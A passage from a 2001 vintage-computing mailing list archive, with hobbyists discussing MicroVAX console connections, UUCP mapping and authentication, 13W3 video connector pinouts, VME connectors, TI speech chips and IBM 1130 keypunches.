differs with the video card. > Question 2: Even if they do use tubes and rodents, is it possible to > flip a switch or change a jumper to use just a VT220 or something > like that and how do I do it? Plug a keyboard into a vtxxx and the VTxxx to the back serial port and skip plugging a monitor into the pizza box. I believe there's a small dip switch next to the ethernet that needs to be flipped. I think it's in the FAQ. > Anthony Clifton > Des Moines, Iowa Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From epgroot at ucdavis.edu Sat Jun 16 19:37:05 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:33 2005 Subject: Need Compaticard II jumper and driver docs Message-ID: <3.0.5.32.20010616173705.007c9ce0@yellow.ucdavis.edu> I am trying to set up a Compaticard II Rev D as a secondary FDC, but I don't have the documentation. Anyone have a scanned copy of the manual? The Micro Solutions Web page does not have it online! The only parts I can figure out is the interrupt jumper on the card, and the drive type number on the ccdriver.sys command line. On the card why are there 2 sets of jumpers for I/O address and 2 sets of jumpers for DMA? I know that my primary FDC is at IRQ6 and DMA2. Do I have to jumper my Compaticard to both different IRQs and DMAs? Thanks for your help, Edwin From spectre at stockholm.ptloma.edu Sat Jun 16 20:07:43 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:33 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106170020.f5H0K7v70097@bg-tc-ppp1633.monmouth.com> from Bill Pechter at "Jun 16, 1 08:20:07 pm" Message-ID: <200106170107.SAA10898@stockholm.ptloma.edu> > > > > > Can you kindly reserve the name "mystica" in your UUCP map > > > > > > > > I'd like to keep using "kumiss" > > > > > > Please give me "lepton". I've never even *used* UUCP before, but > > > darnit, this will be fun and educational. > > > > I could be presumptuous and claim "ucbvax", but I won't. I've forgotten > > what the character limit for names is. I'd like to reserve "sandkings" > > if it doesn't exceed the limit. I'll drop the trailing "s" if it does. > > > > Eric > > I think the limit was the same as the host's uname which I think was > normally 8 chars or less... IIRC. Foo. So stockholm is out? (Nine.) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Workers of the world, stand up! You have nothing to lose but your chairs. -- From optimus at canit.se Sat Jun 16 21:06:30 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3100 Question & Asking for Computers In-Reply-To: <200106170023.f5H0Nrg74251@bg-tc-ppp1633.monmouth.com> Message-ID: <192.568T1500T1865397optimus@canit.se> Bill Pechter skrev: >I think it's in the FAQ. What FAQ? I really wouldn't mind a MV3100 FAQ. -- En ligne avec Thor 2.6a. optimus@dec:foo$ make love make: don't know how to make love. Stop From fmc at reanimators.org Sat Jun 16 21:50:12 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:33 2005 Subject: UUCP -- uucpd (for those interested in the source code) In-Reply-To: Bill Pechter's message of "Sat, 16 Jun 2001 20:06:11 -0400 (EDT)" References: <200106170006.f5H06DH51937@bg-tc-ppp1633.monmouth.com> Message-ID: <200106170250.f5H2oCW64197@daemonweed.reanimators.org> Bill Pechter wrote (after Cameron Kaiser): > > I haven't even figured out how to configure uucpd! :-) > Ask and you shall receive. [...] > The rest of uucp can be picked up from the gnu sites. > I'm willing to help with the mapping project and to act > as a resource to help people get uucp up. OK, I'm having trouble finding the desired documentation (O'Reilly's _Managing UUCP and Usenet_ book) and remembering how to configure the HDB-like UUCP that I think stockholm is running. So please check me on this.... UUCP over dialup works by logging into the remote system, with the user on the remote system set up with uucico as its shell. So uucp would dial up and log in, and login would exec uucico (as the shell) so that the caller would have something to which it could speak uucp. uucpd continues to follow this model, only it issues the login: and Password: prompts, checks to make sure the supplied user name has uucico as its shell, and execs uucico after successful authentication. Cameron has (privately?) expressed an interest in not having to set up a user and password for each of his UUCP peers. To the best of my knowledge, the only UUCP implementation that permits this (by way of supporting its own user/password table that is independent of /etc/passwd) is Taylor UUCP. Or is it possible (and safe) to set up HDB UUCP such that all UUCP peer login names map to the same uid/gid? Taylor UUCP is GPL'd open source, is used on FreeBSD and probably other free Unixes, and will probably build for other Unixes (I used to run it on a Sun 3/60 with SunOS 4.1.1) but I can understand the desire to use the vendor-provided UUCP implementation on classic iron. -Frank McConnell From vaxcat at retrocomputing.com Sat Jun 16 22:56:36 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:33 2005 Subject: Further thoughts on VUNIC [was Re: Announcing VUNIC/VUnet] In-Reply-To: <200106170015.f5H0Ftl68832@bg-tc-ppp1633.monmouth.com> References: from Brian Chase at "Jun 16, 2001 12:02:54 pm" Message-ID: [For those who wish I'd just get to the point, please feel free to skip to PART 2.] PART 1 Geez, I had no idea there'd be so much interest in this! In fact, I'm becoming concerned that we may be off-topicing classiccmp too much. I can easily set up a mailing list just for VUNIC/VUnet and then we could post monthly updates to classiccmp to reduce list load the list. My other thought is that the folks at the UUCP Mapping Project offered to let me take it over if I would maintain the map database GLOBALLY. With as many knowledgeable folks as there are around here, maybe that isn't entirely unreasonable. It seems like a public service that we, as vintage computer collectors, could do for the 'general public' (if you can call uucp nodes that) to generate interest and good feelings for us. In addition, it's a nice useful thing to do with vintage or scrounged hardware. PART 2 SO what I'm going to is draft some Articles for VUNIC/VUnet and then locate people to specific tasks. Of course, I'll be at the top of the food chain. =-D But I'm a very benevolent dictator. ;-D I also give credit where credit is do and am not into taking all the glory for myself. =) At any rate, I'm planning on officially beginning this process on July 1 when I put the web site online. In the meantime, if you'd (meaning anyone) would like to help with specific tasks and have experience with doing those tasks, please let me know so I can starting building lines of communication. Thanks! I'm VERY excited to see this becoming a reality. Anthony Clifton >> Okay, so it's maybe overkill for how our traffic would be taxing things :-) >> Hey, isn't UUCP considered peer-to-peer networking? > >Nope... it's all necessary and Peter Honeyman, I think, did all the >utilities we need... Just got to web search up and rebuild them. >I used to have a full map set in place on a machine with 3mb of memory >and 80mb of disk. Took a couple of hours to generate the map >which looked something like this in text form. > >(Anyone remember the name for the map programs to generate this stuff... >I'm embarrased to say I forgot the names and stuff.) > >i4got: decvax!pyred!pyrnj!pyrite!i4got > >Sure is peer-to-peer. Supports email, remote printing, remote job >execution, file transfer... pretty slick for stuff that did it all over >RS232 and often slow modems. From donm at cts.com Sat Jun 16 23:05:23 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:33 2005 Subject: Need Compaticard II jumper and driver docs In-Reply-To: <3.0.5.32.20010616173705.007c9ce0@yellow.ucdavis.edu> Message-ID: On Sat, 16 Jun 2001, Edwin P. Groot wrote: > I am trying to set up a Compaticard II Rev D as a secondary FDC, but I > don't have the documentation. Anyone have a scanned copy of the manual? > The Micro Solutions Web page does not have it online! > The only parts I can figure out is the interrupt jumper on the card, > and the drive type number on the ccdriver.sys command line. On the card > why are there 2 sets of jumpers for I/O address and 2 sets of jumpers for > DMA? I know that my primary FDC is at IRQ6 and DMA2. Do I have to jumper > my Compaticard to both different IRQs and DMAs? I do npt have the manual for the CompatiCard II; however, the CompatiCard IV manual says that you need not pick alternate values unless it chokes on sharing the system's values. Good luck! - don > Thanks for your help, > Edwin > From spectre at stockholm.ptloma.edu Sat Jun 16 23:26:05 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:33 2005 Subject: UUCP -- uucpd (for those interested in the source code) In-Reply-To: <200106170250.f5H2oCW64197@daemonweed.reanimators.org> from Frank McConnell at "Jun 16, 1 07:50:12 pm" Message-ID: <200106170426.VAA08492@stockholm.ptloma.edu> > Cameron has (privately?) expressed an interest in not having to set up > a user and password for each of his UUCP peers. To the best of my > knowledge, the only UUCP implementation that permits this (by way of > supporting its own user/password table that is independent of > /etc/passwd) is Taylor UUCP. Or is it possible (and safe) to set up > HDB UUCP such that all UUCP peer login names map to the same uid/gid? Not a private wish -- I really would prefer to have uucp do its own auth. I suspect other sysadmins would also be interested -- both convenience and security. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- A different taste in jokes is a great strain on the affections. -- G. Eliot From wonko at tmok.com Sun Jun 17 00:33:00 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:33 2005 Subject: FYI: Digital MINC-23 Message-ID: <20010617013300.E19930@tmok.com> On Fri, Jun 15, 2001 at 10:53:04PM +0100, Tony Duell wrote: > I have 3 of them. 2 were originally MINC-11s, the other a MINC-23 > (according to the nameplates on the front of the machines). cool. thanks for clearning that up. i obviously forgot more than i thought. ;) if i wasn't so tight on cash/space right now i would love to rescue that MINC. i never did get mine running, and i had really wanted to. oh well, i'm sure i'll do better in the future (gotta move, this place sucks, ugh) thanks for the info. -brian From lists at aussie.nu Sun Jun 17 05:56:18 2001 From: lists at aussie.nu (Lists) Date: Sun Feb 27 19:04:33 2005 Subject: OT - F-15C Cockpit [was Enigma [was Ebay horror]] In-Reply-To: <3B29B187.41BF35AD@eoni.com> Message-ID: > demo to a scrapyard in Tijuana. In the load was one of the Williams > turbofan motors (Value? about $150k). Took industrial security almost > a week to find it. Only person diciplined was the plant protection > guard that let it out. He got three days off. Reminds me of a similar incident at a place I used to work... Not military related though. Back in 1990 or so the company bought a new NEC PABX. Not ready to install it, they stored it in the warehouse on it's original pallet pending installation. The warehouse cleaner came along, saw a big empty looking box on a pallet sitting next to his rubbish pallets, grabbed a forklift and dumped it into the rubbish truck. Worth about $70,000 and was never recovered. From apple at cmc.net Sun Jun 17 08:14:51 2001 From: apple at cmc.net (Jack Noble) Date: Sun Feb 27 19:04:33 2005 Subject: OSI schematics needed References: Message-ID: <028101c0f72f$7eaa7dc0$470fbbd0@oemcomputer> An OSI superboard system complete with 600 Rev D Schematics recently sold on Ebay. The buyer may be open to running a copy for you. Jack Noble ----- Original Message ----- From: "Bill Sudbrink" To: Sent: Friday, June 08, 2001 7:25 AM Subject: OSI schematics needed > I've just encountered a new (well, to me anyway) > revision of the SuperBoard II (OSI model 600): > > revision D, copyright 1980 > > I'm only familiar with REV B and this puppy has > some significant differences. All of these guys > had schematics with them when sold. If you have > a C1P or SuperBoard II, could you check the revision > and see if you have matching schematics. I'll pay > for a copy of REV D or any revision other than B > for that matter. > > Thanks, > Bill Sudbrink > From jkunz at unixag-kl.fh-kl.de Sun Jun 17 09:03:47 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3100 Question & Asking for Computers In-Reply-To: Message-ID: <200106171403.QAA13892@unixag-kl.fh-kl.de> On 16 Jun, Anthony Clifton - Retrocomputing.com wrote: > Question 1: Do MicroVax 3100's have monitors, mice or keyboards > or do they just use terminals? If it is a MicroVAX or VAXserver 3100 it will use a serial console. There is no framebuffer in these machines. Only VAXstations have framebuffers. > Question 2: Even if they do use tubes and rodents, is it possible to > flip a switch or change a jumper to use just a VT220 or something > like that and how do I do it? If it is a VAXstation 3100, there will be the magical "S3" switch near the diag LEDs on the back. If it is seted to the upper (?) position the console goes to the MMJ serial printer port. 9600 8n1 as usual. -- tsch??, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz/ From bshannon at tiac.net Sun Jun 17 09:37:36 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:33 2005 Subject: Sound chips References: <681.566T700T12474505optimus@canit.se> Message-ID: <3B2CC0B0.342109E9@tiac.net> I beleive I have a pair of ay-3-8910 psg's in my junk box (err, room). Iggy Drougge wrote: > Jeff Hellige skrev: > > >>Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the > >>CoCo. It contained a microcontroller, an SPO256 speech chip and an > >>AY-3-891x sound chip. > > > Didn't they sell the SPO256 alone, among all the other single > >IC's? I know that even recently I've seen their 'speech chip' on the > >shelf but have never bothered to notice exactly who's chip it is. > > Would it be possible to get a hold of an AY-3-891x or compatible nowadays, by > any chance? Otherwise, I suppose I can scavenge some Atari carcass. > > -- > En ligne avec Thor 2.6a. > > Goto: A programming tool that exists to allow structured programmers to > complain about unstructured programmers. From ab at gxis.de Sun Jun 17 10:05:50 2001 From: ab at gxis.de (Alexander Bochmann) Date: Sun Feb 27 19:04:33 2005 Subject: VUNIC/VUnet Update In-Reply-To: ; from vaxcat@retrocomputing.com on Sat, Jun 16, 2001 at 04:30:45PM -0500 References: <200106161701.KAA23276@homer.ssl.berkeley.edu> Message-ID: <20010617170550.J2152@gxis.de> ...on Sat, Jun 16, 2001 at 04:30:45PM -0500, Anthony Clifton - Retrocomputing.com wrote: > In the meantime, I'm reserving names on a first-come-first-served basis. Well then... The old Mercury/UUCP installation on the Atari still has the name "traveller" in it's configs. (That's nine chars, but it's never made any problems for anyone?) I assume there's no problem with long system names in uucp as long as you don't insist on the names being equivalent to the logins with uucico as shell (and then most TCP/IP based uucp connections will probably use uucpd instead of system logins anyway). > One concern I have is that, even though I've stated that my purpose is > primarily to help Vintage computer collectors, that the general UUCP > will want me to maintain a GLOBAL map. I'm not opposed to this but I'd > need ALOT of help to keep it up to date, etc. Or maybe not. Just ask if you need help :) Alex. From celt at chisp.net Sun Jun 17 10:46:15 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:33 2005 Subject: Apple II stuff available in Sunnyvale [Fwd: Apple II] Message-ID: <3B2CD0C7.1000003@chisp.net> Reply to the original sender if you can help him. Mike The Tarnover Apple II Repository http://tarnover.dyndns.org -------- Original Message -------- Subject: Apple II Date: Tue, 12 Jun 2001 17:58:40 EDT From: BernieRS@aol.com To: celt@chisp.net Dear Rubywand-- I would like to donate all my old Apple II stuff to some worthy organization. I live in Sunnyvale, California. Perhaps you can help me locate someone closer to me. What I have includes 2 clone CPUs with numeric kepads, shift keys and function keys, 2 floppy drives, 2 monitors, Okidata printer with graphic ROMs, printer card, language card, 80-column card, modem card, Z-80 card, joy sticks, joy stick switch box, PC joysticks with adapter, many floppies of applications and games, and documentation. Thanks for your help. --Bernie From ab at gxis.de Sun Jun 17 10:48:59 2001 From: ab at gxis.de (Alexander Bochmann) Date: Sun Feb 27 19:04:33 2005 Subject: UUCP -- uucpd (for those interested in the source code) In-Reply-To: <200106170250.f5H2oCW64197@daemonweed.reanimators.org>; from fmc@reanimators.org on Sat, Jun 16, 2001 at 07:50:12PM -0700 References: <200106170006.f5H06DH51937@bg-tc-ppp1633.monmouth.com> <200106170250.f5H2oCW64197@daemonweed.reanimators.org> Message-ID: <20010617174859.K2152@gxis.de> Hi, ...on Sat, Jun 16, 2001 at 07:50:12PM -0700, Frank McConnell wrote: > OK, I'm having trouble finding the desired documentation (O'Reilly's > _Managing UUCP and Usenet_ book) and remembering how to configure the > HDB-like UUCP that I think stockholm is running. So please check me > on this.... I have the "Managing uucp..." book here, and "Using UUCP..." at work... Unfortunately, the books seems to be neither on one of the ORA Bookshelf CDs, nor on Safari... Possibly, there are used copies available via Amazon (ISBN 0-937175-93-5). > Cameron has (privately?) expressed an interest in not having to set up > a user and password for each of his UUCP peers. To the best of my > knowledge, the only UUCP implementation that permits this (by way of > supporting its own user/password table that is independent of > /etc/passwd) is Taylor UUCP. Or is it possible (and safe) to set up > HDB UUCP such that all UUCP peer login names map to the same uid/gid? >From a quick scan through the book, it seems you're right. But if you don't want to use uucpd, probably only a small perl hack is enough to replace it's basic functionality and possibly fake a suitable environment... > Taylor UUCP is GPL'd open source, is used on FreeBSD and probably > other free Unixes, and will probably build for other Unixes (I used to > run it on a Sun 3/60 with SunOS 4.1.1) but I can understand the desire > to use the vendor-provided UUCP implementation on classic iron. I assume that Taylor UUCP is old-style enough... If I had to run a non-leaf system, I would chose to install Taylor UUCP regardless of possible lack of coolness ;) Alex. From Fritz_Chwolka at t-online.de Sun Jun 17 12:11:05 2001 From: Fritz_Chwolka at t-online.de (Fritz Chwolka) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3300 Message-ID: <15Bg4x-1A1A9oC@fwd07.sul.t-online.com> Hi... I own an MiceoVax 3300 its a B125/KA640 and a R215F modul. Sadly I have no manual which describe the hardware and so no knowledge howto connect to a terminal. Is there anyone who can help or am I the loneliest creature of the word ? Greetings from Fritz Chwolka - Duisburg / collecting old computers just for fun at www.alterechner.de \ From hans at Huebner.ORG Sun Jun 17 12:31:56 2001 From: hans at Huebner.ORG (=?ISO-8859-1?Q?Hans_H=FCbner?=) Date: Sun Feb 27 19:04:33 2005 Subject: Intergraph 2430 video output format Message-ID: Hi, I've recently acquired an Intergraph 2430, a Workstation based on the Fairchild Clipper processor. The machine came without a monitor but with a 13W3 cable. In full confidence that my Hitachi CM803ET would be perfect for the machine, I connected the machine, but it fails to sync. I tried a couple of other fixed frequency monitors, but none of them properly synced. Does anyone have detailed information on the pinout of the 13W3 connector of Intergraph workstations, on the video parameters used or any other helpful information which could help me use this machine? Thanks, Hans -- finger hans@huebner.org for details From rigdonj at intellistar.net Sun Jun 17 13:00:04 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:33 2005 Subject: VME connector name? Message-ID: <5.1.0.14.1.20010617135901.01d4db00@mailhost.intellistar.net> What is the name of the 3 row connector used for the sockets where VME cards plug in? Joe From mcguire at neurotica.com Sun Jun 17 13:45:19 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:33 2005 Subject: VME connector name? In-Reply-To: VME connector name? (joe) References: <5.1.0.14.1.20010617135901.01d4db00@mailhost.intellistar.net> Message-ID: <15148.64191.714751.668079@phaduka.neurotica.com> On June 17, joe wrote: > What is the name of the 3 row connector used for the sockets where VME > cards plug in? I believe those are called Eurocard connectors. It's possible, however, that that name refers to the cards and not the connectors, but I'm not really sure. -Dave McGuire From fmc at reanimators.org Sun Jun 17 14:01:57 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:33 2005 Subject: UUCP -- uucpd (for those interested in the source code) In-Reply-To: Alexander Bochmann's message of "Sun, 17 Jun 2001 17:48:59 +0200" References: <200106170006.f5H06DH51937@bg-tc-ppp1633.monmouth.com> <200106170250.f5H2oCW64197@daemonweed.reanimators.org> <20010617174859.K2152@gxis.de> Message-ID: <200106171901.f5HJ1v202102@daemonweed.reanimators.org> Alexander Bochmann wrote: > I have the "Managing uucp..." book here, and "Using UUCP..." > at work... Unfortunately, the books seems to be neither on > one of the ORA Bookshelf CDs, nor on Safari... The sad bit is, I know I have this book, just can't remember where I left it last. > From a quick scan through the book, it seems you're right. > > But if you don't want to use uucpd, probably only a small > perl hack is enough to replace it's basic functionality > and possibly fake a suitable environment... Well, it would be easy enough to hack different authentication into uucpd too, and make the hacked uucp setuid the user you want to use for uucp. Would that be sufficient though? I think Taylor UUCP gets away with doing its own authentication and running all peer requests as the uucp user because it does not rely exclusively on Unix filesystem access controls for validaction of the peer's requests. I'm not sure how true that is of HDB UUCP. > I assume that Taylor UUCP is old-style enough... > If I had to run a non-leaf system, I would chose to install > Taylor UUCP regardless of possible lack of coolness ;) I remember that there used to be protocol/performance advantages to Taylor UUCP vs. other UUCP implementations. I don't remember the details, but they were sufficient to make the (small) trouble of building it for SunOS 4.1.1 worthwhile. Just looking at the docs, though, if I were building something to support UUCPs running on various oddball classic iron peers I might go for Taylor UUCP because it does seem to support some protocols that are specific to non-Unix UUCPs ('y' and 'v' protocols especially). -Frank McConnell From bills at adrenaline.com Sun Jun 17 14:33:52 2001 From: bills at adrenaline.com (Bill Sudbrink) Date: Sun Feb 27 19:04:33 2005 Subject: OSI schematics needed In-Reply-To: <028101c0f72f$7eaa7dc0$470fbbd0@oemcomputer> Message-ID: > An OSI superboard system complete with 600 Rev D Schematics > recently sold on > Ebay. The buyer may be open to running a copy for you. Thanks for the heads up. The seller has already very generously sent me scans of them and is sending hard copies as well. The REV D is neat in that it incorporates several common REV B hacks including 32 character wide display and multiple speed USART (for both casette and RS-232). It also has provisions for color display and an 8-bit DAC instead of the REV B 4 bit. From cmcmanis at mcmanis.com Sun Jun 17 14:24:11 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3300 In-Reply-To: <15Bg4x-1A1A9oC@fwd07.sul.t-online.com> Message-ID: <5.1.0.14.0.20010617122022.00a8c020@www.mcmanis.com> At 07:11 PM 6/17/01 +0200, Fritz Chwolka wrote: >Hi... >I own an MiceoVax 3300 >its a B125/KA640 and a R215F modul. That's a fun little VAX! I've got the same setup that I call "WTCVAX" (for World Trade Center VAX) since the two BA215 cabinets look like the Sears world trade towers :-) >Sadly I have no manual which describe the hardware and so no knowledge >howto connect to a >terminal. >Is there anyone who can help or am I the loneliest creature of the word ? Check out the panels page at that shows where to hook up the console. You will need an MMJ cable or you can take and RJ12 and break off the retaining tab. --Chuck From ard at p850ug1.demon.co.uk Sun Jun 17 14:55:37 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:33 2005 Subject: VME connector name? In-Reply-To: <5.1.0.14.1.20010617135901.01d4db00@mailhost.intellistar.net> from "joe" at Jun 17, 1 02:00:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 670 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010617/7b1a21bf/attachment.ksh From brian at quarterbyte.com Sun Jun 17 15:06:42 2001 From: brian at quarterbyte.com (Brian Knittel) Date: Sun Feb 27 19:04:33 2005 Subject: IBM 1130's Message-ID: <003301c0f769$07364dc0$6401a8c0@quarterbyte.com> Are there any IBM 1130 aficionados out there? Anyone who has one (besides bruce@bigoakhill.com, whose 1130 I'll be inheriting)? Anyone with software archives perhaps? Emulators, or interest in developing one? Oh -- and where this day and age does one go to find an 029 keypunch? These aren't showing up on ebay in any great quantity, for some reason. Brian Knittel Albany, CA From jkunz at unixag-kl.fh-kl.de Sun Jun 17 15:25:44 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3300 In-Reply-To: <15Bg4x-1A1A9oC@fwd07.sul.t-online.com> Message-ID: <200106172025.WAA14498@unixag-kl.fh-kl.de> On 17 Jun, Fritz Chwolka wrote: > I own an MiceoVax 3300 Nice machine. > its a B125/KA640 and a R215F modul. What disks do you have? TK{5,7}0? > Sadly I have no manual which describe the hardware and so no > knowledge howto connect to a terminal. The console terminal connects to the MMJ (Modified Modular Jack) on the CPU bulkhead. (Slide down the transparent dor at the machine. Pull the latch at the lower left corner out. Then you can slide the whole front cover a bit to the top and remove it. The CPU bulkhead is the rightmost plate with some switches, one digit LED 7 segment display, ...) See http://anacin.nsc.vcu.edu/~jim/mvax/mvax_faq.html for a wiring form MMJ to DB25 RS232. You may find the folowing URLs interresting: http://vaxarchive.sevensages.org/ http://www.de.netbsd.org/Documentation/Hardware/Machines/DEC/vax/ > Is there anyone who can help or am I the loneliest creature of the word ? You are never alone when you ride a VAX. :-) -- tsch??, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz/ From ethan_dicks at yahoo.com Sun Jun 17 16:33:56 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:33 2005 Subject: IBM 1130's In-Reply-To: <003301c0f769$07364dc0$6401a8c0@quarterbyte.com> Message-ID: <20010617213356.20361.qmail@web9507.mail.yahoo.com> --- Brian Knittel wrote: > Are there any IBM 1130 aficionados out there? I used one once in college. Looks like a fun box. > Oh -- and where > this day and age does one go to find an 029 keypunch? These aren't > showing up on ebay in any great quantity, for some reason. Don't have an 029 card punch, but I do have an 026 I need to refurb. Got it from the same place that let go a couple of PDP-11/70s a couple of years ago. If you want to come by and punch a stack of cards someday, we could probably work something out. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Spot the hottest trends in music, movies, and more. http://buzz.yahoo.com/ From pete at dunnington.u-net.com Sun Jun 17 16:56:39 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:33 2005 Subject: Intergraph 2430 video output format In-Reply-To: =?iso-8859-1?Q?Hans_H=FCbner_=3Chans=40Huebner=2EORG=3E _______=22Intergraph_2430_video_output_format=22_=28Jun_17=2C_19=3A31=29?= References: Message-ID: <10106172256.ZM25738@indy.dunnington.u-net.com> On Jun 17, 19:31, Hans H?bner wrote: > I've recently acquired an Intergraph 2430, a Workstation based on the > Fairchild Clipper processor. Mmm.. nice find! > Does anyone have detailed information on the pinout of the 13W3 connector of > Intergraph workstations, on the video parameters used or any other helpful > information which could help me use this machine? Not specifically Intergraph, I'm afraid, but I can tell you about two common pinouts used for 13W3 connectors: that used by Sun, and that used by SGI. They both put R,G,B on the same coax connections, but they differ in the use of the other ten pins for monitor type sense and separate sync. Here are the pinouts: Pin-Layout of a 13W3 (female end): () denotes 75-ohm mini-coax () 1 2 3 4 5 () () 6 7 8 9 10 13W3-SGI ================ pin A1 - Red/R-Gnd pin A2 - Green/G-Gnd pin A3 - Blue/B-Gnd pin 1 - monitor type 3 pin 2 - monitor type 0 pin 3 - Composite Sync pin 4 - H Drive pin 5 - V Drive pin 6 - monitor type 1 pin 7 - monitor type 2 pin 8 - digital gnd pin 9 - digital gnd pin 10 - sync 2 Pin 10 is groound on some SGI machines. 13W3-SUN ================ pin A1 - Red/R-Gnd pin A2 - Green/G-Gnd pin A3 - Blue/B-Gnd pin 1 - n/c pin 2 - n/c pin 3 - sense 2 pin 4 - sense ret pin 5 - Composite Sync pin 6 - n/c pin 7 - n/c pin 8 - sense 1 pin 9 - sense 0 pin 10 - C-Sync ret Suns most often use composite sync (if not sync-on-green) whereas SGIs most often use separate H and V sync (if not sync-on-green). SGI cables tend to have only as many pins as are needed for the machine the cable was sold for; Sun cables usually have all pins wired. For those few Suns that do use separate syncs, H is pin 6 and V is pin 7. I believe some VAXstations use 13W3 connectors -- anybody got the pinout for those? -- Pete Peter Turnbull Network Manager University of York From wonko at tmok.com Sun Jun 17 17:30:11 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:33 2005 Subject: VME connector name? In-Reply-To: <15148.64191.714751.668079@phaduka.neurotica.com>; from Dave McGuire on Sun, Jun 17, 2001 at 02:45:19PM -0400 References: <5.1.0.14.1.20010617135901.01d4db00@mailhost.intellistar.net> <15148.64191.714751.668079@phaduka.neurotica.com> Message-ID: <20010617183011.O36586@tmok.com> On Sun, Jun 17, 2001 at 02:45:19PM -0400, Dave McGuire wrote: > > I believe those are called Eurocard connectors. It's possible, > however, that that name refers to the cards and not the connectors, > but I'm not really sure. no, i think you are right dave, i think the name Eurocard connector specifies the actual connector. i've also seen them referenced as "VME backplane connector" and "DIN 41612 Connectors" -brian From pete at dunnington.u-net.com Sun Jun 17 17:31:36 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:34 2005 Subject: Speech chips again Message-ID: <10106172331.ZM25759@indy.dunnington.u-net.com> A few days ago there was some discussion of speech and sound chips, which prompted me to dig in the spares box and extract a TMS5220 speech processor and the ROM that goes with it, made by Texas Instruments. For those who don't know, this was a rather interesting speech processor: it worked by setting up digital filters to model certain characteristics of the human vocal tract, and then used those filters (dynamically adjusted) to turn white noise (simulating moving air) or other sounds into speech. The ROM didn't store digitised sound at all, instead it stored the information about what type of source to use and what filter parameters to set up. Hence it was not much use for anything except speech, but it did a pretty good job of that and used less memory than, say, a Digitalker did (I have a Digitalker chip set as well). The TMS5220 was most often used with special serial ROMs, and was used as the (optional) speech processor in the BBC Microcomputer -- that's why I have a couple of sets. It was also used in some arcade machines, in one if the Texas home micros (TI99/8?), one of the Coleco machines (I think), and an obscure British 68000-based machine called a uMicro 2000. Texas made a couple of standard vocabulary Phrase ROMs, and custom ones for particular pusposes. The arcade machines and BBC Micro used custom PHROMs, -- TMS6100NLL in the Beeb -- but one I have out of a uMicro 2000 has a generic part number: VM61002NL. I know that the first standard vocabulary ROM was type VM61001NL so I imagine what I have is another standard part. Alas, I can no longer find the data sheets for either the TMS5220 or the PHROMs, and a web search hasn't turned up anything useful. Texas' website no longer has any info on those devices, neither does the company who deal with their obsolete products. Does anyone have any information about these things? I'd like to see (or hear!) what's in the PHROM I've found. -- Pete Peter Turnbull Network Manager University of York From Innfogra at aol.com Sun Jun 17 17:33:49 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:04:34 2005 Subject: IBM 1130's & keypunches Message-ID: <46.1657594c.285e8a4d@aol.com> In a message dated 6/17/01 1:59:49 PM Pacific Daylight Time, brian@quarterbyte.com writes: > Are there any IBM 1130 aficionados out there? Anyone who has one (besides > bruce@bigoakhill.com, whose 1130 I'll be inheriting)? Anyone with software > archives perhaps? Emulators, or interest in developing one? Oh -- and where > this day and age does one go to find an 029 keypunch? These aren't > showing up on ebay in any great quantity, for some reason. > Paul Pierce has an IBM 1130. He is planning on using it in his Museum project when he retires. Here is a link to his computer collection. Paul Pierce's Computer Collection http://www.piercefuller.com/collect/index.html It came from Clatsop Community College and he outbid me when it was put up for bid in 1979? IIRC. I have a scrap friend who has about 4 or 5 punch card units in Portland, Oregon. I believe he has a couple that are complete. I don't think any are 029s, I think at least one is a 129 and three others may be from compatible manufactures. I can find more information out if you are interested. They would have to be shipped freight but he is equipped to do that. Please contact me off list at Whoagiii@aol.com if you are interested. This time of the year is rather busy and I don't read all of the list and may miss a reply. Paxton Astoria, Oregon -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010617/7cccaeb5/attachment.html From r.stek at snet.net Sun Jun 17 17:41:56 2001 From: 